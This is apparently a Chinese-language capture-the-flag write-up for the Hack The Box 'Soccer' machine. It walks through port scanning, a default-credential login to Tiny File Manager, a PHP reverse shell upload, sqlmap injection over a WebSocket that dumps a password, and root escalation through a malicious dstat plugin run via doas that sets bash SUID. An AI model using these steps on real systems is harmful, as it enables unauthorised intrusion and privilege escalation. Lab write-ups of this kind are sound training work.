Soccer Writeup
免責聲明
Please correct me if I'm wrong.
為啥我當初沒有寫writeup?
靶機資訊(Machine Infromation)
Machine | Description |
---|---|
Name | Soccer |
OS | Linux |
Difficulty | Easy |
Author | sau123 |
情蒐(Reconnaissance)
服務掃描(Services Scan)
HTB的起手式就是掃port,或者說哪個靶機不是?
┌──(xavier㉿kali)-[~/…/htb/soccer/recons/nmap]
└─$ sudo nmap -p- --min-rate 1000 -Pn 10.129.35.154 -o tcp-10.129.35.154-fast
[sudo] password for xavier:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 00:40 EDT
Nmap scan report for 10.129.35.154
Host is up (0.066s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
Nmap done: 1 IP address (1 host up) scanned in 26.41 seconds
HTTP - Port 80
直接連線Port 80
,發現自動跳轉至網站域名:soccer.htb
。
<MACHING_NAME>.htb 是HTB靶機hostname的常見命名規則。你可以在HTB Meta找到更多資訊。
┌──(xavier㉿kali)-[~/…/htb/soccer/recons/nmap]
└─$ curl http://10.129.35.154 -v
* Trying 10.129.35.154:80...
* Connected to 10.129.35.154 (10.129.35.154) port 80
> GET / HTTP/1.1
> Host: 10.129.35.154
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.18.0 (Ubuntu)
< Date: Tue, 28 May 2024 04:46:42 GMT
< Content-Type: text/html
< Content-Length: 178
< Connection: keep-alive
< Location: http://soccer.htb/ <-- 這裡
<
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
* Connection #0 to host 10.129.35.154 left intact
將domain name加加至/etc/host
中。
┌──(xavier㉿kali)-[~/…/htb/soccer/recons/nmap]
└─$ echo "10.129.35.154 soccer.htb" | sudo tee -a /etc/hosts
10.129.35.154 soccer.htb
"為什麼要加入domain name至/etc/hosts
?"
為了處理DNS解析問題。
假設現在要瀏覽google.com.tw
,系統就需將域名解析成IP,再將HTTPS request送往該IP,而域名就寫在request的Host header中。也就是說,連線至少需要有IP,系統才知道要把訊息送哪裡。而.htb
不是"合法"TLD(Top-level domain),DNS無法解析出其IP,因此透過添加該域名與IP至/etc/hosts
中,系統才可以不透過DNS找到結果。
等等,如果只需要IP就可以瀏覽,那為什麼這題也要這麼做?已經知道IP了不是嗎?
沒錯,這題的確不需要。就繼續以Google為例:
❯ curl https://142.251.43.3 -k
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
Google和Soccer都將IP自動跳轉至域名,所以只要將域名寫在Host header中,就可以順利瀏覽了: (因為Google和Soccer的伺服器都要求域名,不讓IP直連。)
❯ curl https://142.251.43.3 -H "Host: www.google.com.tw" -k
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="zh-TW"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><me
...
但這樣必須每次添加header,很麻煩就是了。而且這還是HTTP協定方便加header,當哪天遇到AD時就別無他法了。
目錄枚舉(Directory Listing)
我喜歡用feroxbuster,採用任何掃描工具都可,在人工瀏覽網站時同時探測可以節省時間。
┌──(xavier㉿kali)-[~/…/htb/soccer/recons/nmap]
└─$ feroxbuster -u http://soccer.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://soccer.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 494l 1440w 96128c http://soccer.htb/ground3.jpg
200 GET 2232l 4070w 223875c http://soccer.htb/ground4.jpg
200 GET 809l 5093w 490253c http://soccer.htb/ground1.jpg
200 GET 711l 4253w 403502c http://soccer.htb/ground2.jpg
200 GET 147l 526w 6917c http://soccer.htb/
301 GET 7l 12w 178c http://soccer.htb/tiny => http://soccer.htb/tiny/
301 GET 7l 12w 178c http://soccer.htb/tiny/uploads => http://soccer.htb/tiny/uploads/
[####################] - 2m 168510/168510 0s found:7 errors:0
[####################] - 2m 56163/56163 542/s http://soccer.htb/
[####################] - 2m 56163/56163 526/s http://soccer.htb/tiny/
[####################] - 2m 56163/56163 526/s http://soccer.htb/tiny/uploads/
結果掃到/tiny/uploads/
,所以直接殺進去看。
Tiny File Manager的設定問題
瀏覽http://soccer.htb/tiny
,跳轉至/tiny/tinyfilemanager.php
。
檢視頁面原始碼得到Tiny fliemanager的版本為:2.4.3
,而且是個開源專案。
預設帳密登入
遇到開源專案有兩條路可以走:
- 檢查issues和changelog,找security、bug等相關資利用。
從relsases頁面往後找一個版本,就可以發現RCE的bug。
但是在本題沒有用,因為不需要。 -
白箱檢測,讀code、找漏洞、找任何可以利用的資訊。
前往GitHub檢查對應版本原始碼。在此只需注意本體PHP(tinyfilemanager.php),其他都不重要,畢竟是"tiny"檔案管理系統。找到預設帳號密碼:
Admin登入成功。
檔案上傳&RCE
前往tiny
資料夾,發現upload
資料夾的權限是0757,所以可讀可寫可執行。
外加沒有設定上傳檔案類型,在此可以直接上傳PHP reverse shell。
┌──(xavier㉿kali)-[~]
└─$ nc -lvnp 8787
listening on [any] 8787 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.35.170] 43764
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
08:49:07 up 15 min, 0 users, load average: 0.11, 0.07, 0.11
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
取得shell,但www-data權限不足取得user.txt
,需要尋找提權途徑。
內部情蒐(Discovery) Part 1
利用剛才取得shell蒐集資料。
Listening Ports
www-data@soccer:/$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:9091 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:46040 127.0.0.1:3306 ESTABLISHED off (0.00/0/0)
tcp 0 0 10.129.35.170:80 10.10.14.9:53684 TIME_WAIT timewait (24.21/0/0)
tcp 0 0 127.0.0.1:3306 127.0.0.1:46040 ESTABLISHED keepalive (6099.31/0/0)
tcp 0 0 10.129.35.170:43764 10.10.14.9:8787 ESTABLISHED off (0.00/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
udp 0 0 127.0.0.53:53 0.0.0.0:* off (0.00/0/0)
udp 0 0 0.0.0.0:68 0.0.0.0:* off (0.00/0/0)
...
詳列所有listening port,可見3000
、3306
、9091
等,也許之後要看看DB。
程序詳列(Process Listing)
www-data@soccer:/$ ps auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
www-data 1040 0.0 0.1 54080 6628 ? S 08:33 0:00 nginx: worker process
www-data 1041 0.0 0.1 54080 5368 ? S 08:33 0:00 nginx: worker process
www-data 1687 0.0 0.0 2608 532 ? S 08:49 0:00 sh -c uname -a; w; id; /bin/sh -i
www-data 1691 0.0 0.0 2608 1740 ? S 08:49 0:00 /bin/sh -i
www-data 1716 0.0 0.0 5892 2888 ? R 08:51 0:00 ps auxwww
Nginx Config
什麼是Virtual Host(vHost) a.k.a. Server Block?
Virtual Host顧名思義,就是虛擬主機的意思,可以理解成"站臺站點"",讓多個站臺同時運行在同一個HTTP server上。
在Nginx中,使用"Server Block"定義一個vHost,可依據不同網站域名、目錄做設定,Nginx就會依據設定講request導流到正確的網站。
Nginx的設定檔位於/etc/nginx
之下,若只想針對站點快速讀設定的話,就只需要看site-enabled
和site-available
底下的檔案,尤其是enabled,因為所有目前在運行的站點都會在這裡。
其他的都不重要。
www-data@soccer:/$ cd /etc/nginx/
www-data@soccer:/etc/nginx$ ls
conf.d koi-win nginx.conf sites-enabled
fastcgi.conf mime.types proxy_params snippets
fastcgi_params modules-available scgi_params uwsgi_params
koi-utf modules-enabled sites-available win-utf
www-data@soccer:/etc/nginx/sites-enabled$ ls
default soc-player.htb
site-enabled
底下包含兩個設定檔:default
、soc-player.htb
,可知至少可能有第二個站臺。
在此可見兩個"Server"區塊,兩個區塊都監聽Port 80。
server {
listen 80;
listen [::]:80;
server_name 0.0.0.0;
return 301 http://soccer.htb$request_uri;
}
return 301 http://soccer.htb$request_uri;
將request導向soccer.htb
,也就是下面第二個區塊,這也是為什麼以一開始連線時會遇到自動跳轉的原因。
server {
listen 80;
listen [::]:80;
server_name soccer.htb;
root /var/www/html;
index index.html tinyfilemanager.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
location ~ /\.ht {
deny all;
}
}
/var/www/html
,也就是剛才Tiny File manager的檔案實際位置,有得時候可以在此找到DB密碼,所以值得一看,但這次沒有。其餘設定不重要。
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
server_name soc-player.soccer.htbi;
發現第三個vHost,soc-player.soccer.htb,架在port 3000。如果今天要用字典掃到這個subdomain,是掃要到民國幾年?
記得把domain加到/etc/hosts
另一個進入點
瀏覽http://soc-player.soccer.htb
,在Match頁面發現登入後可以取得免費票,於是在Login隨便辦一個帳號,記得用burp攔截,因為搞不好可以偷帳號,但這次不用。
票券ID查詢的SQLi
登入剛才辦好的帳號,網站自動跳轉至/check
,並且告訴我們的ticket id是64138,在下方輸入id方可檢查票券是否存在。
那當然要亂輸入一通,並用burp攔截。發現是透過port 9091
的websocket進行query,於是嘗試SQL語法注入,果然有弱點。
Sqlmap over Websocket - Port 80, 9091
既然有SQLi就是sqlmap了,詳細過程就不贅述了。如果想要自己寫腳本注入也可以,請參考這篇writeup。
┌──(xavier㉿kali)-[~/Documents/CTF/htb/soccer]
└─$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data '{"id":"*"}' --risk 3 --level 5 --dump soccer_db
...
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
找到密碼之後嘗試登入SSH。
┌──(xavier㉿kali)-[~/Documents/CTF/htb/soccer]
└─$ ssh [email protected]
The authenticity of host 'soccer.htb (10.129.35.170)' can't be established.
ED25519 key fingerprint is SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'soccer.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue May 28 11:13:41 UTC 2024
System load: 0.0
Usage of /: 70.1% of 3.84GB
Memory usage: 20%
Swap usage: 0%
Processes: 236
Users logged in: 0
IPv4 address for eth0: 10.129.35.170
IPv6 address for eth0: dead:beef::250:56ff:feb9:9231
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ cat user.txt
58a1a1e2c9b34bd26b37cb32206e780f
內部情蒐(Discovery) Part 2
利用現有使用者權限後尋找root提權路徑。
首先當然是看看哪些binary有SUID或是sudo -l
,可以rus as root的指令。
player@soccer:~$ find / -perm /u=s -ls 2>/dev/null
70968 44 -rwsr-xr-x 1 root root 42224 Nov 17 2022 /usr/local/bin/doas
18263 140 -rwsr-xr-x 1 root root 142792 Nov 28 2022 /usr/lib/snapd/snap-confine
7696 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
14300 464 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign
16207 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
7700 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
1753 40 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount
2093 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
...
結果發現一個可疑binary就是doas。
為什麼可疑?因為doas是OpenBSD的sudo,安裝位置又在/usr/local/bin
,很明顯不是linux系統原生的程式,多半是使用者安裝的,而且他很不會,所以可疑。
怎麽知道doas是OpenBSD的sudo?經驗,多架一些系統就會知道了,沒經驗可也以依據安裝位置發現doas
。
I SAID DO AS ROOOT!!
執行看看doas
。
執行之後,就算沒有用過doas
也應該發現這個指令需要設定檔了。
doas
依據設定檔哪些指令可以提權,哪些人可以root,就像sudo
的/etc/sudoers
。
player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
發現dstat
可以提權執行,於是看看怎麽用。
player@soccer:~$ dstat -h
Usage: dstat [-afv] [options..] [delay [count]]
Versatile tool for generating system resource statistics)
Dstat options:
...
--list list all available plugins
--<plugin-name> enable external plugin by name (see --list)
...
player@soccer:~$ dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,socket,swap,
swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,dstat-ctxt,dstat-mem,
fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,md-status,memcache-hits,mongodb-conn,
mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,
mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,
snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,snmp-sys,snooze,squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,
top-cputime-avg,top-int,top-io,top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,
vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,zfs-zil
player@soccer:/usr/local/share/dstat$ ls /usr/share/dstat/
__pycache__ dstat_dstat_ctxt.py dstat_md_status.py dstat_mysql_keys.py dstat_rpcd.py dstat_top_cpu.py dstat_vmk_hba.py
dstat.py dstat_dstat_mem.py dstat_memcache_hits.py dstat_net_packets.py dstat_sendmail.py dstat_top_cpu_adv.py dstat_vmk_int.py
dstat_battery.py dstat_fan.py dstat_mongodb_conn.py dstat_nfs3.py dstat_snmp_cpu.py dstat_top_cputime.py dstat_vmk_nic.py
dstat_battery_remain.py dstat_freespace.py dstat_mongodb_mem.py dstat_nfs3_ops.py dstat_snmp_load.py dstat_top_cputime_avg.py
...
得知dstat
會執行python腳本,這代表者如果能夠控制腳本,就能root。
找找看哪裡寫入檔案。
player@soccer:~$ find / -type d -writable -maxdepth 5 2>/dev/null
/run/user/1001
/run/user/1001/gnupg
/run/user/1001/systemd
/run/user/1001/systemd/units
/run/screen
/run/lock
/usr/local/share/dstat
/var/lib/php/sessions
/var/crash
/var/www/html/tiny/uploads
/var/tmp
/var/tmp/cloud-init
/tmp
/dev/mqueue
/dev/shm
/home/player
/home/player/.cache
...
找到/usr/local/share/dstat
資料夾可寫,上網搜尋怎麽寫plugin:
player@soccer:/usr/local/share/dstat$ vim dstat_setbash.py
player@soccer:/usr/local/share/dstat$ cat dstat_setbash.py
import os;os.system('chmod +s /usr/bin/bash');
player@soccer:/usr/local/share/dstat$ dstat --list | grep bash
setbash
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --setbash
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
Module dstat_setbash failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:/usr/local/share/dstat$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
bf2bfd833281ca183eef14f6d640f37b
bash-5.0# exit
exit